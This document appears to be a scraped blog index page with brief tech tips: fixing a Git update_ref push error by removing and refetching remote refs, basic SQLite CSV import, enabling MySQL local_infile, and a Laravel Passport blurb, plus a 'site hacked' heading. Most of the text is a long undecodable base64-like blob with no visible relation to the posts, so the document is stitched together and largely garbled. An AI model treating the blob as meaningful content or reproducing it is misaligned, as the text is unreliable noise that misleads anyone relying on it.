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 ...

What to do when your site has been hacked ?

Preemptive action

#1 – Have backups

Categories
Git

How to resolve Git error when pushing – update_ref failed ?

$ rm -rf .git/refs/remotes/origin      # remove all origin/*
$ mkdir .git/refs/remotes/origin       # create empty origin/
$ git fetch origin                     # repopulate origin/*
Categories
MySql SQL SqLite

How to SQLite ? beginner

Download page

Download Page SQLITE

Basic Commands

GUI SQLITE

–> execute sqlite excutable from downladpage

sqlite

Import CSV data to SQlite

.mode csv
.import csvfilename databaseName

Quit SQlite

.quit

Categories
MySql SQL

How to resolve ERROR 1148 (42000): The used command is not allowed with this MySQL version ?

Solution

mysql> SHOW VARIABLES LIKE 'local_infile';

+---------------+-------+

| Variable_name | Value |

+---------------+-------+

| local_infile  | OFF   |

+---------------+-------+

1 row in set (0.21 sec)
mysql> SET GLOBAL local_infile = 1;

Query OK, 0 rows affected (0.00 sec)
mysql> SHOW VARIABLES LIKE 'local_infile';

+---------------+-------+

| Variable_name | Value |

+---------------+-------+

| local_infile  | ON    |

+---------------+-------+

1 row in set (0.00 sec)
mysql> load data local infile '/Users/davidr/Desktop/dob.csv' INTO TABLE dob FIELDS TERMINATED BY ',' ENCLOSED BY '"' LINES TERMINATED BY '\n' IGNORE 1 ROWS;
Query OK, 109093 rows affected (1.88 sec)
Records: 109093 Deleted: 0 Skipped: 0 Warnings: 0
Categories
News

Favorite Technology Websites News

raspberrypi

Makezine

Categories
Laravel Podcast

Laravel Podcast

RSS Error: A feed could not be found at `http://simplecast.com/podcasts/1356/rss`; the status code is `404` and content-type is `text/html;charset=utf-8`
Categories
Access Token API Laravel Oauth PHP Valet Web API

Laravel Passsport – Oauth2

Laravel makes API authentication a breeze using Laravel Passport, which provides a full OAuth2 server implementation for your Laravel application in a matter of minutes. Passport is built on top of the League OAuth2 server that is maintained by Andy Millington and Simon Hamp.